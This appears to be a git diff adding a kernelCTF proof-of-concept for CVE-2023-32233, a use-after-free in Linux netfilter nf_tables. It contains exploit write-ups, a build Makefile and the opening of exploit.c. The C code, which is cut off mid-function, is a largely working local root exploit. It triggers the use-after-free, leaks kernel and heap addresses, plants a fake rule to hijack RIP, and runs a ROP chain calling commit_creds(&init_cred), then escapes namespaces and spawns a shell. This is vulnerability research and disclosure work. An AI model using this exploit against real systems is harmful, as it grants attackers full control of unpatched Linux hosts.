diff --git a/pocs/linux/kernelctf/CVE-2023-32233_mitigation/docs/exploit.md b/pocs/linux/kernelctf/CVE-2023-32233_mitigation/docs/exploit.md new file mode 100644 index 00000000..908b0efd --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-32233_mitigation/docs/exploit.md @@ -0,0 +1,210 @@ +# Attacking Objects + +- **Information leak/KASLR bypass**: nft_chain + nft_rule/nft_expr [dyn-kmalloc-256] +- **RIP control**: nft_rule/nft_expr (RIP hijacked via expr->deactivate()) [dyn-kmalloc-256] + +# Overview + +This exploit is written based on https://www.openwall.com/lists/oss-security/2023/05/15/5. The exploit strategy is different from the original code. + +# Triggering Vulnerability + +The vulnerability is caused by access to an anonymous nft_set that is being deleted. + +```c +void nf_tables_deactivate_set(const struct nft_ctx *ctx, struct nft_set *set, + struct nft_set_binding *binding, + enum nft_trans_phase phase) +{ + switch (phase) { + case NFT_TRANS_PREPARE: // [1] + set->use--; + return; + case NFT_TRANS_ABORT: + case NFT_TRANS_RELEASE: + set->use--; + fallthrough; + default: + nf_tables_unbind_set(ctx, set, binding, + phase == NFT_TRANS_COMMIT); + } +} +EXPORT_SYMBOL_GPL(nf_tables_deactivate_set); + +void nf_tables_destroy_set(const struct nft_ctx *ctx, struct nft_set *set) +{ + if (list_empty(&set->bindings) && nft_set_is_anonymous(set)) + nft_set_destroy(ctx, set); +} +EXPORT_SYMBOL_GPL(nf_tables_destroy_set); +``` + +Because the `nf_tables_deactivate_set` function does not change the set to the inactive state when an anonymous set is deleted, it can be accessed after the set is destroyed by the `nf_tables_destroy_set` function [1]. + +To trigger the vulnerability, create an anonymous nft_set is and a rule with a lookup expr referencing it. The UAF is then triggered by deleting the rule and then deleting the set or adding/deleting set elements of the set. Note that `nf_tables_deactivate_set` is called while deleting the rule with lookup expr. + +# From UAF to double free + +```c +static void nft_set_destroy(const struct nft_ctx *ctx, struct nft_set *set) +{ + int i; + + if (WARN_ON(set->use > 0)) + return; + + for (i = 0; i < set->num_exprs; i++) + nft_expr_destroy(ctx, set->exprs[i]); + + set->ops->destroy(set); + nft_set_catchall_destroy(ctx, set); + kfree(set->name); // [2] + kvfree(set); +} +``` + +When the nft_lookup expr is destroyed, the `nft_set_destroy` function is called and free `set->name`[2]. When the set is destroyed again, the `nft_set_destroy` function is called one more time on this nft_set, resulting in a double free. In between the two calls to `nft_set_destroy`, I create another target nft_set to make this nft_set free. At this time, I make the length of the set's name in between 193-256 to place it to dyn-kmalloc-256. + +```c +struct nft_chain { + struct nft_rule_blob __rcu *blob_gen_0; + struct nft_rule_blob __rcu *blob_gen_1; + struct list_head rules; + struct list_head list; + struct rhlist_head rhlhead; + struct nft_table *table; + u64 handle; + u32 use; + u8 flags:5, + bound:1, + genmask:2; + char *name; + u16 udlen; + u8 *udata; // [3] + + /* Only used during control plane commit phase: */ + struct nft_rule_blob *blob_next; +}; +``` + +Then, I utilized the udata field [3] of the nft_chain structure for information leak and RIP control. To do this, the udata of nft_chain is allocated in dyn-kmalloc-256 and overlaps with set->name of the target set. + +```c +static int nf_tables_addchain(struct nft_ctx *ctx, u8 family, u8 genmask, + u8 policy, u32 flags, + struct netlink_ext_ack *extack) + ... + +if (nla[NFTA_CHAIN_USERDATA]) { + chain->udata = nla_memdup(nla[NFTA_CHAIN_USERDATA], GFP_KERNEL_ACCOUNT); // [4] + if (chain->udata == NULL) { + err = -ENOMEM; + goto err_destroy_chain; + } + chain->udlen = nla_len(nla[NFTA_CHAIN_USERDATA]); + } +``` + +The udata of nft_chain is input from the user in the `nf_tables_addchain` function [4]. + +# KASLR Bypass and Information Leak + +To bypass KASLR, I used the `struct nft_rule`. The nft_rule contains `struct nft_expr` [5], which stores the address of the `struct nft_expr_ops` [6]. Since address of `nft_expr_ops` is a kernel address, we can bypass KASLR by read it. We can also get the heap address by reading the list in the struct nft_rule. This address will be used later to create fake ops and store the ROP payload. In this exploit, I used `nft_counter_ops`. + +```c +struct nft_rule { + struct list_head list; + u64 handle:42, + genmask:2, + dlen:12, + udata:1; + unsigned char data[] + __attribute__((aligned(__alignof__(struct nft_expr)))); // [5] +}; +``` + +```c +struct nft_expr { + const struct nft_expr_ops *ops; // [6] + unsigned char data[] + __attribute__((aligned(__alignof__(u64)))); +}; +``` + +# RIP Control + +Create a fake rule to control the RIP. Since `expr->ops->deactivate` is called in the `nft_rule_expr_deactivate` function when deleting a rule [7], we can control the RIP by modifying with the address of the ops. + +```c +static void nft_rule_expr_deactivate(const struct nft_ctx *ctx, + struct nft_rule *rule, + enum nft_trans_phase phase) +{ + struct nft_expr *expr; + + expr = nft_expr_first(rule); + while (nft_expr_more(rule, expr)) { + if (expr->ops->deactivate) + expr->ops->deactivate(ctx, expr, phase); // [7] + + expr = nft_expr_next(expr); + } +} +``` + +To do this, we free the rule we sprayed for the leak and spray a fake rule with chain->udata at this location. + +```c + struct fake_nft_rule * payload = (struct fake_nft_rule *) data; + + payload->dlen = 8; + payload->genmask = 0; + payload->handle = 0xffff; + payload->list.prev = (void*) 0; + payload->list.next = (void*) 0; + + *((uint64_t*)data + (sizeof(struct fake_nft_rule) / sizeof(uint64_t*))) = heap_addr; // expr->ops + +``` + +I sprayed a fake rule with `dlen` greater than `0` and `handle` `0xffff`. And when I delete the rule with handle `0xffff`, the RIP is controlled. + +# Post-RIP + +I make the following ROP payload to get the shell. For simplicity, I utilized the Telefork technique suggested by Kyle (https://blog.kylebot.net/2022/10/16/CVE-2022-1786/). + +```c +void make_payload_rop(uint64_t* data){ + int i = 0; + + data[i++] = kbase + POP_RSI_RET; // dummy + data[i++] = 0; + + data[i++] = kbase + POP_RSI_RET; // dummy + data[i++] = 0; + + data[i++] = kbase + POP_RSI_RET; // dummy + data[i++] = kbase + PUSH_RAX_POP_RSP; // expr->ops->deactivate() + + // find_task_by_vpid(1) + data[i++] = kbase + POP_RDI_RET; + data[i++] = 1; + data[i++] = kbase + FIND_TASK_BY_VPID; + + // switch_task_namespaces(find_task_by_vpid(1), &init_nsproxy) + data[i++] = kbase + MOV_RDI_RAX_RET; + data[i++] = kbase + POP_RSI_RET; + data[i++] = kbase + INIT_NSPROXY; + data[i++] = kbase + SWITCH_TASK_NAMESPACES; + + // commit_creds(&init_cred) + data[i++] = kbase + POP_RDI_RET; + data[i++] = kbase + INIT_CRED; + data[i++] = kbase + COMMIT_CREDS; + + data[i++] = kbase + VFORK; + data[i++] = kbase + DELAY; +} +``` + +However, when using the `fork` system call, a lot of double fault exceptions occurred, so we used `vfork`. Since `vfork` also causes a double fault exception, it is better to use the `iret` gadget to return to the userspace to increase the reliability of the exploit. \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2023-32233_mitigation/docs/novel-techniques.md b/pocs/linux/kernelctf/CVE-2023-32233_mitigation/docs/novel-techniques.md new file mode 100644 index 00000000..385b0010 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-32233_mitigation/docs/novel-techniques.md @@ -0,0 +1,23 @@ +# Novel Techniques + +## Powerful Universal Obejct: `struct nft_rule` + +`struct nft_rule` is a very powerful primitive that can be used to do KASLR bypass, leak heap address, RIP control, and data spraying. We can get the kernel base address by reading the ops structure of expr stored in `nft_rule`. We can also read the list of `nft_rule` and the heap address stored in nft_expr and utilize it in an attack. Finally, the ops address of the expr can be manipulated to perform RIP control. Additionally, the userdata field of the `nft_rule` can be used for data spraying. + +```c +struct nft_rule { + struct list_head list; + u64 handle:42, + genmask:2, + dlen:12, + udata:1; + unsigned char data[] + __attribute__((aligned(__alignof__(struct nft_expr)))); +}; + +struct nft_expr { + const struct nft_expr_ops *ops; + unsigned char data[] + __attribute__((aligned(__alignof__(u64)))); +}; +``` \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2023-32233_mitigation/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2023-32233_mitigation/docs/vulnerability.md new file mode 100644 index 00000000..be67b089 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-32233_mitigation/docs/vulnerability.md @@ -0,0 +1,12 @@ +- Requirements: + - Capabilities: CAP_NET_ADMIN + - Kernel configuration: CONFIG_NETFILTER, CONFIG_NF_TABLES + - User namespaces required: Yes +- Introduced by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=20a69341f2d00cd042e81c82289fba8a13c05a25 (netfilter: nf_tables: add netlink set API) +- Fixed by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=c1592a89942e9678f7d9c8030efa777c0d57edab (netfilter: nf_tables: deactivate anonymous set from preparation phase) +- Affected Version: v3.13-rc1 - v6.4-rc6 +- Affected Component: net/netfilter +- Cause: Use-After-Free +- Syscall to disable: disallow unprivileged username space +- URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-32233 +- Description: In the Linux kernel through 6.3.1, a use-after-free in Netfilter nf_tables when processing batch requests can be abused to perform arbitrary read and write operations on kernel memory. Unprivileged local users can obtain root privileges. This occurs because anonymous sets are mishandled. \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2023-32233_mitigation/exploit/mitigation-6.1/Makefile b/pocs/linux/kernelctf/CVE-2023-32233_mitigation/exploit/mitigation-6.1/Makefile new file mode 100644 index 00000000..2d064e70 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-32233_mitigation/exploit/mitigation-6.1/Makefile @@ -0,0 +1,35 @@ +LIBMNL_DIR = $(realpath ./)/libmnl_build +LIBNFTNL_DIR = $(realpath ./)/libnftnl_build + +exploit: + gcc -o exploit exploit.c -L$(LIBNFTNL_DIR)/install/lib -L$(LIBMNL_DIR)/install/lib -lnftnl -lmnl -I$(LIBNFTNL_DIR)/install/include -I$(LIBMNL_DIR)/install/include -static + +prerequisites: libmnl-build libnftnl-build + +libmnl-build : libmnl-download + tar -C $(LIBMNL_DIR) -xvf $(LIBMNL_DIR)/libmnl-1.0.5.tar.bz2 + cd $(LIBMNL_DIR)/libmnl-1.0.5 && ./configure --enable-static --prefix=`realpath ../install` + cd $(LIBMNL_DIR)/libmnl-1.0.5 && make + cd $(LIBMNL_DIR)/libmnl-1.0.5 && make install + +libnftnl-build : libmnl-build libnftnl-download + tar -C $(LIBNFTNL_DIR) -xvf $(LIBNFTNL_DIR)/libnftnl-1.2.5.tar.xz + cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && PKG_CONFIG_PATH=$(LIBMNL_DIR)/install/lib/pkgconfig ./configure --enable-static --prefix=`realpath ../install` + cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && C_INCLUDE_PATH=$(C_INCLUDE_PATH):$(LIBMNL_DIR)/install/include LD_LIBRARY_PATH=$(LD_LIBRARY_PATH):$(LIBMNL_DIR)/install/lib make + cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && make install + +libmnl-download : + mkdir $(LIBMNL_DIR) + wget -P $(LIBMNL_DIR) https://netfilter.org/projects/libmnl/files/libmnl-1.0.5.tar.bz2 + +libnftnl-download : + mkdir $(LIBNFTNL_DIR) + wget -P $(LIBNFTNL_DIR) https://netfilter.org/projects/libnftnl/files/libnftnl-1.2.5.tar.xz + +run: + ./exploit + +clean: + rm -rf $(LIBMNL_DIR) + rm -rf $(LIBNFTNL_DIR) + rm -f exploit \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2023-32233_mitigation/exploit/mitigation-6.1/exploit b/pocs/linux/kernelctf/CVE-2023-32233_mitigation/exploit/mitigation-6.1/exploit new file mode 100755 index 00000000..d175430c Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2023-32233_mitigation/exploit/mitigation-6.1/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2023-32233_mitigation/exploit/mitigation-6.1/exploit.c b/pocs/linux/kernelctf/CVE-2023-32233_mitigation/exploit/mitigation-6.1/exploit.c new file mode 100644 index 00000000..18bd99f4 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-32233_mitigation/exploit/mitigation-6.1/exploit.c @@ -0,0 +1,1542 @@ +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include + + +uint64_t cfg_race_set_slab = 1; +uint64_t cfg_race_set_elem_count = 0x300 * 0x800; + +useconds_t cfg_initial_usleep = 1 * 1000 * 1000; +useconds_t cfg_race_lead_usleep = 50 * 1000; +useconds_t cfg_race_lag_usleep = 300 * 1000; +useconds_t cfg_reuse_usleep = 50 * 1000; + + +#define FIND_TASK_BY_VPID 0x10a0d0 +#define SWITCH_TASK_NAMESPACES 0x111c80 +#define COMMIT_CREDS 0x1136f0 +#define INIT_NSPROXY 0x2661680 +#define INIT_CRED 0x26618c0 +#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0x12010c6 +#define VFORK 0x0e37d0 +#define DELAY 0x17da60 +#define NFT_COUNTER_OPS 0x1af8340 + +#define PUSH_RAX_POP_RSP 0xaec248; // 0xffffffff81aec248 : push rax ; pop rsp ; xor eax, eax ; jmp 0xffffffff82404440 +#define POP_RDI_RET 0x1481f3; // 0xffffffff811481f3 : pop rdi ; jmp 0xffffffff82404440 +#define POP_RSI_RET 0x0d813f; // 0xffffffff810d813f : pop rsi ; jmp 0xffffffff82404440 +#define MOV_RDI_RAX_RET 0x61dd6a; // 0xffffffff8161dd6a : mov rdi, rax ; mov dword ptr [rdx], ecx ; mov rax, rdi ; jmp 0xffffffff82404440 +#define POP_RDX_RET 0x6f12a0; // 0xffffffff816f12a0 : pop rdx ; xor eax, eax ; jmp 0xffffffff82404440 + +#define uaf_chunk_size 0x80 +#define mnl_batch_limit (1024 * 1024) + +uint64_t nft_counter_ops; +uint64_t kbase; +uint64_t heap_addr; +uint64_t victim_rule_handle; + +char mnl_batch_buffer[2 * mnl_batch_limit]; + +char uaf_set_key[8 + 0x34]; + +void win(){ + setns(open("/proc/1/ns/mnt", O_RDONLY), 0); + setns(open("/proc/1/ns/pid", O_RDONLY), 0); + setns(open("/proc/1/ns/net", O_RDONLY), 0); + + system("cat /flag"); + + char *args[] = {"/bin/sh", NULL}; + execve("/bin/sh", args, NULL); + + exit(0); +} + +int cfg_load_line(char *line) +{ + char *saveptr = NULL; + char *value = strtok_r(line, "\t ", &saveptr); + if (value == NULL) { + return EFAULT; + } + + char *key = NULL; + do { + key = strtok_r(NULL, "\t\n ", &saveptr); + if (key == NULL) { + return EFAULT; + } + } while (strlen(key) < 2); + + errno = 0; + + if (strcmp(key, "race_set_slab") == 0) { + cfg_race_set_slab = strtoul(value, NULL, 0); + } + else if (strcmp(key, "race_set_elem_count") == 0) { + cfg_race_set_elem_count = 1000L * strtoul(value, NULL, 0); + } + else if (strcmp(key, "initial_sleep") == 0) { + cfg_initial_usleep = 1000L * strtoul(value, NULL, 0); + } + else if (strcmp(key, "race_lead_sleep") == 0) { + cfg_race_lead_usleep = 1000L * strtoul(value, NULL, 0); + } + else if (strcmp(key, "race_lag_sleep") == 0) { + cfg_race_lag_usleep = 1000L * strtoul(value, NULL, 0); + } + else if (strcmp(key, "reuse_sleep") == 0) { + cfg_reuse_usleep = 1000L * strtoul(value, NULL, 0); + } + else { + errno = ENOENT; + } + + return errno; +} + +static void cfg_load(char *path) +{ + FILE *stream = fopen(path, "r"); + if (stream != NULL) { + char *line = NULL; + size_t len = 0; + ssize_t nread; + + while ((nread = getline(&line, &len, stream)) != -1) { + printf("[*] Profile line: %s", line); + if (cfg_load_line(line) != 0) { + printf("[!] ERROR\n"); + } + } + fclose(stream); + } +} + +void hex_dump(const char *data, ssize_t size) +{ + if (size <= 0) { + printf("\n*** empty ***\n"); + } + else { + char hex_buf[0x40]; + char ascii_buf[0x20]; + ssize_t ix = 0; + int pos = 0; + + do { + unsigned char byte = data[ix]; + + sprintf(hex_buf + 3 * pos, "%02x ", byte); + ascii_buf[pos] = ((0x20 <= byte) && (byte < 0x7e))? byte: '.'; + + ++ ix; + ++ pos; + if ((ix == size) || (pos == 0x10)) { + ascii_buf[pos] = 0; + printf("\n%04lx: %-48s | %s", ix - pos, hex_buf, ascii_buf); + pos = 0; + } + } while (ix < size); + printf("\n"); + } +} + +static void append_del_set_handle(struct mnl_nlmsg_batch *batch, uint32_t seq, + uint32_t family, char *table_name, uint64_t handle) +{ + struct nftnl_set *set = nftnl_set_alloc(); + if (set == NULL) { + errx(1, "Cannot into nftnl_set_alloc()"); + } + + nftnl_set_set_u32(set, NFTNL_SET_FAMILY, family); + nftnl_set_set_str(set, NFTNL_SET_TABLE, table_name); + nftnl_set_set_u64(set, NFTNL_SET_HANDLE, handle); + + struct nlmsghdr *nlh = nftnl_set_nlmsg_build_hdr( + mnl_nlmsg_batch_current(batch), + NFT_MSG_DELSET, + NFPROTO_INET, + NLM_F_ACK, + seq + ); + nftnl_set_nlmsg_build_payload(nlh, set); + mnl_nlmsg_batch_next(batch); + + nftnl_set_free(set); +} + +static void append_del_set(struct mnl_nlmsg_batch *batch, uint32_t seq, + uint32_t family, char *table_name, char *set_name) +{ + struct nftnl_set *set = nftnl_set_alloc(); + if (set == NULL) { + errx(1, "Cannot into nftnl_set_alloc()"); + } + + nftnl_set_set_u32(set, NFTNL_SET_FAMILY, family); + nftnl_set_set_str(set, NFTNL_SET_TABLE, table_name); + nftnl_set_set_str(set, NFTNL_SET_NAME, set_name); + + struct nlmsghdr *nlh = nftnl_set_nlmsg_build_hdr( + mnl_nlmsg_batch_current(batch), + NFT_MSG_DELSET, + NFPROTO_INET, + NLM_F_ACK, + seq + ); + nftnl_set_nlmsg_build_payload(nlh, set); + mnl_nlmsg_batch_next(batch); + + nftnl_set_free(set); +} + +static void append_del_chain(struct mnl_nlmsg_batch *batch, uint32_t seq, + uint32_t family, char *table_name, char *chain_name) +{ + struct nftnl_chain *chain = nftnl_chain_alloc(); + if (chain == NULL) { + errx(1, "Cannot into nftnl_chain_alloc()"); + } + + nftnl_chain_set_u32(chain, NFTNL_CHAIN_FAMILY, family); + nftnl_chain_set_str(chain, NFTNL_CHAIN_TABLE, table_name); + nftnl_chain_set_str(chain, NFTNL_CHAIN_NAME, chain_name); + + struct nlmsghdr *nlh = nftnl_set_nlmsg_build_hdr( + mnl_nlmsg_batch_current(batch), + NFT_MSG_DELCHAIN, + NFPROTO_INET, + 0, + seq + ); + nftnl_chain_nlmsg_build_payload(nlh, chain); + mnl_nlmsg_batch_next(batch); + + nftnl_chain_free(chain); +} + +static void append_del_rule(struct mnl_nlmsg_batch *batch, uint32_t seq, + uint32_t family, char *table_name, char *chain_name, uint64_t rule_handle) +{ + struct nftnl_rule *rule = nftnl_rule_alloc(); + if (rule == NULL) { + errx(1, "Cannot into nftnl_rule_alloc()"); + } + + nftnl_rule_set_str(rule, NFTNL_RULE_TABLE, table_name); + nftnl_rule_set_str(rule, NFTNL_RULE_CHAIN, chain_name); + nftnl_rule_set_u32(rule, NFTNL_RULE_FAMILY, family); + if (rule_handle != -1) { + nftnl_rule_set_u64(rule, NFTNL_RULE_HANDLE, rule_handle); + } + + struct nlmsghdr *nlh = nftnl_rule_nlmsg_build_hdr( + mnl_nlmsg_batch_current(batch), + NFT_MSG_DELRULE, + family, + NLM_F_ACK, + seq + ); + nftnl_rule_nlmsg_build_payload(nlh, rule); + mnl_nlmsg_batch_next(batch); + + nftnl_rule_free(rule); +} + + +uint32_t pwn_family = NFPROTO_INET; +char *pwn_table = "testfirewall"; + +char *pwn_lookup_set = "s_a"; +char *pwn_lookup_chain = "OUTPUT"; + +char *pwn_log_chain = "INPUT"; + +static void pwn_create_table(struct mnl_nlmsg_batch *batch, uint32_t seq) +{ + struct nftnl_table *table = nftnl_table_alloc(); + if (table == NULL) { + errx(1, "Cannot into nftnl_table_alloc()"); + } + + nftnl_table_set_u32(table, NFTNL_TABLE_FAMILY, pwn_family); + nftnl_table_set_str(table, NFTNL_TABLE_NAME, pwn_table); + + struct nlmsghdr *nlh = nftnl_table_nlmsg_build_hdr( + mnl_nlmsg_batch_current(batch), + NFT_MSG_NEWTABLE, + pwn_family, + NLM_F_CREATE | NLM_F_ACK, + seq + ); + nftnl_table_nlmsg_build_payload(nlh, table); + mnl_nlmsg_batch_next(batch); + + nftnl_table_free(table); +} + + +static void pwn_create_set(struct mnl_nlmsg_batch *batch, uint32_t seq, + char *set_name, uint32_t set_id, uint32_t set_flags, + uint32_t set_key_len, uint32_t set_desc_size, + void *set_userdata, uint32_t set_userdata_len) +{ + struct nftnl_set *set = nftnl_set_alloc(); + if (set == NULL) { + errx(1, "Cannot into nftnl_set_alloc()"); + } + + nftnl_set_set_u32(set, NFTNL_SET_FAMILY, pwn_family); + nftnl_set_set_str(set, NFTNL_SET_TABLE, pwn_table); + nftnl_set_set_str(set, NFTNL_SET_NAME, set_name); + nftnl_set_set_u32(set, NFTNL_SET_ID, set_id); + nftnl_set_set_u32(set, NFTNL_SET_FLAGS, set_flags); + nftnl_set_set_u32(set, NFTNL_SET_KEY_LEN, set_key_len); + if (set_desc_size != 0) { + nftnl_set_set_u32(set, NFTNL_SET_DESC_SIZE, set_desc_size); + } + if (set_userdata != NULL) { + nftnl_set_set_data(set, NFTNL_SET_USERDATA, set_userdata, set_userdata_len); + } + + struct nlmsghdr *nlh = nftnl_set_nlmsg_build_hdr( + mnl_nlmsg_batch_current(batch), + NFT_MSG_NEWSET, + pwn_family, + NLM_F_CREATE | NLM_F_ACK, + seq + ); + nftnl_set_nlmsg_build_payload(nlh, set); + mnl_nlmsg_batch_next(batch); + + nftnl_set_free(set); +} + + +static void pwn_create_chain(struct mnl_nlmsg_batch *batch, uint32_t seq, + char *chain_name) +{ + struct nftnl_chain *chain = nftnl_chain_alloc(); + if (chain == NULL) { + errx(1, "Cannot into nftnl_chain_alloc()"); + } + + nftnl_chain_set_u32(chain, NFTNL_CHAIN_FAMILY, pwn_family); + nftnl_chain_set_str(chain, NFTNL_CHAIN_TABLE, pwn_table); + nftnl_chain_set_str(chain, NFTNL_CHAIN_NAME, chain_name); + + struct nlmsghdr *nlh = nftnl_chain_nlmsg_build_hdr( + mnl_nlmsg_batch_current(batch), + NFT_MSG_NEWCHAIN, + pwn_family, + NLM_F_CREATE | NLM_F_ACK, + seq + ); + nftnl_chain_nlmsg_build_payload(nlh, chain); + mnl_nlmsg_batch_next(batch); + + nftnl_chain_free(chain); +} + + +static void pwn_create_lookup_set_elem(struct mnl_nlmsg_batch *batch, uint32_t seq, + char *set_name, + void *set_elem_key, uint32_t set_elem_key_len) +{ + char set_elem_userdata[0x2f] = {}; + + struct nftnl_set *set = nftnl_set_alloc(); + if (set == NULL) { + errx(1, "Cannot into nftnl_set_alloc()"); + } + + nftnl_set_set_u32(set, NFTNL_SET_FAMILY, pwn_family); + nftnl_set_set_str(set, NFTNL_SET_TABLE, pwn_table); + nftnl_set_set_str(set, NFTNL_SET_NAME, set_name); + + struct nftnl_set_elem *set_elem = nftnl_set_elem_alloc(); + if (set_elem == NULL) { + errx(1, "Cannot into nftnl_set_elem_alloc()"); + } + + nftnl_set_elem_set(set_elem, NFTNL_SET_ELEM_KEY, set_elem_key, set_elem_key_len); + nftnl_set_elem_set(set_elem, NFTNL_SET_ELEM_USERDATA, set_elem_userdata, sizeof(set_elem_userdata)); + + nftnl_set_elem_add(set, set_elem); + + struct nlmsghdr *nlh = nftnl_nlmsg_build_hdr( + mnl_nlmsg_batch_current(batch), + NFT_MSG_NEWSETELEM, + NFPROTO_INET, + NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK, + seq + ); + nftnl_set_elems_nlmsg_build_payload(nlh, set); + mnl_nlmsg_batch_next(batch); + + nftnl_set_free(set); +} + + +static void pwn_create_lookup_rule(struct mnl_nlmsg_batch *batch, uint32_t seq, + char *chain_name, char *set_name) +{ + struct nftnl_rule *rule = nftnl_rule_alloc(); + if (rule == NULL) { + errx(1, "Cannot into nftnl_rule_alloc()"); + } + + nftnl_rule_set_u32(rule, NFTNL_RULE_FAMILY, pwn_family); + nftnl_rule_set_str(rule, NFTNL_RULE_TABLE, pwn_table); + nftnl_rule_set_str(rule, NFTNL_RULE_CHAIN, chain_name); + + struct nftnl_expr *lookup = nftnl_expr_alloc("lookup"); + if (lookup == NULL) { + errx(1, "Cannot into nftnl_expr_alloc()"); + } + + nftnl_expr_set_u32(lookup, NFTNL_EXPR_LOOKUP_SREG, NFT_REG_1); + nftnl_expr_set_str(lookup, NFTNL_EXPR_LOOKUP_SET, set_name); + nftnl_expr_set_u32(lookup, NFTNL_EXPR_LOOKUP_FLAGS, 0); + + nftnl_rule_add_expr(rule, lookup); + + struct nlmsghdr *nlh = nftnl_rule_nlmsg_build_hdr( + mnl_nlmsg_batch_current(batch), + NFT_MSG_NEWRULE, + pwn_family, + NLM_F_APPEND | NLM_F_CREATE | NLM_F_ACK, + seq + ); + nftnl_rule_nlmsg_build_payload(nlh, rule); + mnl_nlmsg_batch_next(batch); + + nftnl_rule_free(rule); +} + +static void pwn_create_leak_rule(struct mnl_nlmsg_batch *batch, uint32_t seq, + char *chain_name) +{ + char rule_userdata[0xa0] = {'a',}; + + struct nftnl_rule *rule = nftnl_rule_alloc(); + if (rule == NULL) { + errx(1, "Cannot into nftnl_rule_alloc()"); + } + + nftnl_rule_set_u32(rule, NFTNL_RULE_FAMILY, pwn_family); + nftnl_rule_set_str(rule, NFTNL_RULE_TABLE, pwn_table); + nftnl_rule_set_str(rule, NFTNL_RULE_CHAIN, chain_name); + nftnl_rule_set_data(rule, NFTNL_RULE_USERDATA, rule_userdata, sizeof(rule_userdata)); + + struct nftnl_expr *expr = nftnl_expr_alloc("counter"); + if (expr == NULL) { + errx(1, "Cannot into nftnl_expr_alloc()"); + } + + nftnl_rule_add_expr(rule, expr); + + struct nlmsghdr *nlh = nftnl_rule_nlmsg_build_hdr( + mnl_nlmsg_batch_current(batch), + NFT_MSG_NEWRULE, + pwn_family, + NLM_F_APPEND | NLM_F_CREATE | NLM_F_ACK, + seq + ); + nftnl_rule_nlmsg_build_payload(nlh, rule); + mnl_nlmsg_batch_next(batch); + + nftnl_rule_free(rule); +} + +static void pwn_create_leak_chain(struct mnl_nlmsg_batch *batch, uint32_t seq, + char *chain_name) +{ + struct nftnl_chain *chain = nftnl_chain_alloc(); + if (chain == NULL) { + errx(1, "Cannot into nftnl_chain_alloc()"); + } + + char data[0x200] = {0,}; + + nftnl_chain_set_u32(chain, NFTNL_CHAIN_FAMILY, pwn_family); + nftnl_chain_set_str(chain, NFTNL_CHAIN_TABLE, pwn_table); + nftnl_chain_set_str(chain, NFTNL_CHAIN_NAME, chain_name); + nftnl_chain_set_data(chain, NFTNL_CHAIN_USERDATA, data, 0xf0); + + struct nlmsghdr *nlh = nftnl_chain_nlmsg_build_hdr( + mnl_nlmsg_batch_current(batch), + NFT_MSG_NEWCHAIN, + pwn_family, + NLM_F_CREATE | NLM_F_ACK, + seq + ); + nftnl_chain_nlmsg_build_payload(nlh, chain); + mnl_nlmsg_batch_next(batch); + + nftnl_chain_free(chain); +} + +struct list_head { + struct list_head *next, *prev; +}; + +struct fake_nft_rule { + struct list_head list; + uint64_t handle:42, + genmask:2, + dlen:12, + udata:1; +}; + +void make_payload_rop(uint64_t* data){ + int i = 0; + + data[i++] = kbase + POP_RSI_RET; + data[i++] = 0; + + data[i++] = kbase + POP_RSI_RET; + data[i++] = 0; + + data[i++] = kbase + POP_RSI_RET; + data[i++] = kbase + PUSH_RAX_POP_RSP; // expr->ops->deactivate() + + // find_task_by_vpid(1) + data[i++] = kbase + POP_RDI_RET; + data[i++] = 1; + data[i++] = kbase + FIND_TASK_BY_VPID; + + // switch_task_namespaces(find_task_by_vpid(1), &init_nsproxy) + data[i++] = kbase + MOV_RDI_RAX_RET; + data[i++] = kbase + POP_RSI_RET; + data[i++] = kbase + INIT_NSPROXY; + data[i++] = kbase + SWITCH_TASK_NAMESPACES; + + // commit_creds(&init_cred) + data[i++] = kbase + POP_RDI_RET; + data[i++] = kbase + INIT_CRED; + data[i++] = kbase + COMMIT_CREDS; + + data[i++] = kbase + VFORK; + data[i++] = kbase + DELAY; +} + +static void pwn_create_rop_chain(struct mnl_nlmsg_batch *batch, uint32_t seq, + char *chain_name) +{ + struct nftnl_chain *chain = nftnl_chain_alloc(); + if (chain == NULL) { + errx(1, "Cannot into nftnl_chain_alloc()"); + } + + uint64_t data[0x100] = {0,}; + make_payload_rop(data); + + data[5] = kbase + PUSH_RAX_POP_RSP; + + nftnl_chain_set_u32(chain, NFTNL_CHAIN_FAMILY, pwn_family); + nftnl_chain_set_str(chain, NFTNL_CHAIN_TABLE, pwn_table); + nftnl_chain_set_str(chain, NFTNL_CHAIN_NAME, chain_name); + nftnl_chain_set_data(chain, NFTNL_CHAIN_USERDATA, data, 0xf0); + + struct nlmsghdr *nlh = nftnl_chain_nlmsg_build_hdr( + mnl_nlmsg_batch_current(batch), + NFT_MSG_NEWCHAIN, + pwn_family, + NLM_F_CREATE | NLM_F_ACK, + seq + ); + nftnl_chain_nlmsg_build_payload(nlh, chain); + mnl_nlmsg_batch_next(batch); + + nftnl_chain_free(chain); +} + +static void pwn_create_fake_rule_chain(struct mnl_nlmsg_batch *batch, uint32_t seq, + char *chain_name) +{ + struct nftnl_chain *chain = nftnl_chain_alloc(); + if (chain == NULL) { + errx(1, "Cannot into nftnl_chain_alloc()"); + } + + char data[0x200] = {0,}; + + memset(data, 'c', 0x100); + + struct fake_nft_rule * payload = (struct fake_nft_rule *) data; + + payload->dlen = 8; + payload->genmask = 0; + payload->handle = 0xffff; + payload->list.prev = (void*) 0; + payload->list.next = (void*) 0; + + *((uint64_t*)data + (sizeof(struct fake_nft_rule) / sizeof(uint64_t*))) = heap_addr; + + nftnl_chain_set_u32(chain, 